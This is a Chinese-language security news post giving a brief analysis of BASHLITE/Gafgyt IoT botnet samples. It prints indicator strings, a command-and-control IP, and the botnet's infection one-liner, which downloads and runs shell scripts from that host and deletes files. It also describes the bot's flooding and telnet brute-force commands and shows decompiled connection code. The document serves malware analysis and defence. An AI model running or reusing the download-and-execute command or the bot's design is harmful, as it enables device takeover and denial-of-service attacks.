安全圈 | 专注于最新网络信息安全讯息新闻

首页

感染百萬物聯網設備的bashlite家族惡意程式碼簡要分析

作者 schoultz 时间 2020-03-01
all

根據Level 3 Communications的報告,MalwareBenchmark團隊的Pr0.s、Peter、MX、一行等獲取了其中8個樣本,並進行了有針對性的分析,現將部分結果公佈如下:

該系列樣本來源於最早的ShellLock惡意程式碼,原始程式碼在2015年被洩露,經過不斷的變種,最近被命名為Lizkebab,BASHLITE,Torlus,Gafgyt等名稱。

樣本包含:arm、mips、 powerpc、 x86等版本,但不同版本變種之間功能極為相似,應該是同種原始程式碼,在不同環境下編譯的結果。

具有典型特徵字串,例如:

http://94.102.49.151/bins.sh

Failed opening raw socket.

libc/sysdeps/linux/i386/crti.S

Root

93.174.93.180

9271(埠)

Pong(網絡回復資訊)

……

C&C服務器的連接命令。惡意程式碼登入目標設備後會根據目標設備是arm mips powerpc x86等架構,去服務器下載對應的惡意程式碼並運行

cd /tmp;wget http://94.102.49.151/bins.sh;chmod 777 bins.sh;sh bins.sh;busybox tftp -r tftp2.sh -g 94.102.49.151;chmod 777 tftp2.sh;sh tftp2.sh;rm -rf *

/bin/busybox;echo -e '\147\141\171\146\147\164'

multi-call

REPORT %s:%s:

其中可見受攻擊主機在其操控下從94.102.49.151服務器上下載了名為bins.sh的命令列腳本,並支行了該腳本。並使用busybox工具集(這是一個帶有上百種Linux常用工具的强大工具集)中的tftp進行檔案傳輸。

連接成功後如果接受ping命令,則會回復一個pong

 

CommServer服務器發送的指令除了PING和DUP還有多種。其實現代碼主要位於processCmd中。

若指令為“GETLOCALIP”,則將樣本所在的主機IP發送給CommServer服務器。

若指令為“SCANNER”,則進行掃描探測,如果發現“ON”狀態主機,則調用StartTheLelz()函數進行攻擊,該函數較為重要,在下麵繼續分析。

若指令為“HOLD”,則主要負責與已被控制的主機保持連接。

若指令為“JUNK”,則向某IP的主機建立連接並發送1024位元組的隨機字串。

若指令為“UDP”,則嘗試向某IP的主機發送內容長度為n的UDP數据包。

若指令為“TCP”,則嘗試與某IP的主機建立TCP連接。

產生隨機的地址,並進行telnet掃描

對掃描到的設備進行弱口令攻擊

 

通信過程截圖

 

告訴攻擊者,受害者是X86架構。

某版本樣本,部分關鍵反編譯程式碼

1、函數initConnection()用來建立socket連線:其中mainCommSock= socket(2,1,0);建立了一個新的socket,也就是向系統注册,通知系統建立一通信埠。便於之後發送數據,接收數據的實現。

BOOL initConnection()

{

    memset(&s,0,0x200u);

  if(mainCommSock)

  {

    close(mainCommSock);

    mainCommSock = 0;

  }

  if(currentServer)

    ++currentServer;

  else

    currentServer = 0;

  strcpy(&s,(&commServer)[4 * currentServer]);

  v3 = 6667;

  if(strchr(&s,58))

  {

    v0 = strchr(&s,58);

    v3 = atoi(v0 + 1);

    *strchr(&s,58)= 0;

  }

  mainCommSock = socket(2,1,0);

  return connectTimeout(mainCommSock,&s,v3,30)== 0;

}

2、在函數sockprintf()中,send()用來將數據由指定的socket傳送給對方主機。參數fd為已經建立好的socket,參數buf指向欲連線的數據內容,參數strlen為數據長度。如下:

調用函數sockprintf()的是函數recvLine()

 

3、…recv用來接收遠端主機經socket傳來的數據,並把數據存到由buf指向的記憶體空間,參數1u表示可接收數據的最大長。

recvLine()函數實現了經指定socket傳送數據接收數據的功能,反編譯代碼如下:

 

signed int __cdecl recvLine(unsigned int a1,void *a2,unsigned int a3)

{

  memset(a2,0,a3);

  timeout.tv_sec = 30;

  timeout.tv_usec = 0;

  memset(&readfds,0,sizeof(readfds));

  v14 = 0;

  v15 = &v10;

  _bittestandset((signed __int32 *)&readfds +(a1 >> 5),a1 & 0x1F);

  v10 = select(a1 + 1,&readfds,0,&readfds,&timeout);

  if(v10 <= 0)

  {

    while(v11 <= 9)

    {

      sockprintf(mainCommSock,(int)“PING”,v5);

      timeout.tv_sec = 30;

      timeout.tv_usec = 0;

      memset(&readfds,0,sizeof(readfds));

      v16 = 0;

      v17 = &v10;

      _bittestandset((signed __int32 *)&readfds +(a1 >> 5),a1 & 0x1F);

      v10 = select(a1 + 1,&readfds,0,&readfds,&timeout);

      if(v10 > 0)

        break;

      ++v11;

    }

  }

  v13 = 0;

  v12 = a2;

  while(1)

  {

    v3 =(signed int)a3-- > 1;

    if(!v3)

      break;

    if(recv(mainCommSock,&buf,1u,0)!= 1)

    {

      *(_BYTE *)v12 = 0;

      return -1;

    }

    *(_BYTE *)v12 = buf;

    v12 =(char *)v12 + 1;

    if(buf == 10)

      break;

    ++v13;

  }

  *(_BYTE *)v12 = 0;

  return v13;

}

訂閱號內相關文章(點解可閱讀)

超百萬物聯網設備感染BASHLITE家族惡意程式碼